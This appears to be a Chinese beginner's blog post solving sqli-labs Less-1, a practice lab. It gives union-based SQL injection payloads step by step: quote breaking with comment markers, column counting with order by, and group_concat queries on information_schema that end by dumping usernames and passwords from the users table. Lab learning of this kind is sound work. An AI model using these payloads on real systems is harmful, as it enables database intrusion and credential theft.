admin管理员组

文章数量:1794759

sqli

sqli

1.首先要知道查库,查表,查列,查字段的基本语法

查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name = 'users'
查字段:select id,username,password from security.users

2.在sqli-labs代码中找到less-1的index.php,加入
echo $sql;      //输出$sql
echo "<br>";    //输出换行

3.不报错怎么办:在php配置文件中 找到php.ini  将配置文件中的magic_quotes_gpc = On修改为Off

为什么要加注释符?   因为源代码中是'' 你在加一个' 为了看看是否是sql注入 是否是字符串型  后面的--+是为了注释源代码中最后一个'

4.order by 查看列数

首先尝试是否有10列

 答案不是10列

经过一直尝试

发现共有列数3列

5.union select 1,2,3--+
发现没有回显   将id=1改为id=-1 使它报错

6.查库

 select schema_name from information_schema.schemata

可只能出来一个答案,决定使用group_concat()函数

group_concat 拼接字符串(多条数据,同时拼接在一条字符串中,连接进行显示)

group_concat(schema_name) from information_schema.schemata --+

得到咱们想要的库:security

7.查表

继续使用group_concat()函数

group_concat(table_name) from information_schema.tables where table_schema='security' --+

得到想要的表:users

8.查列

继续使用group_concat()函数

group_concat(column_name) from information_schema.columns where table_name='users' --+

得到想要的字段:id,username,password

9.查字段所对应的值

用一个新的函数

concat_ws()函数

concat_ws()  一次性指定分隔符

'~' 分隔符

group_concat(concat_ws('~',id,username,password)) from security.users --+

得到字段所对应的值

本题完成,本人刚刚接触这些,希望各路大神予以指导 

本文标签: SQLi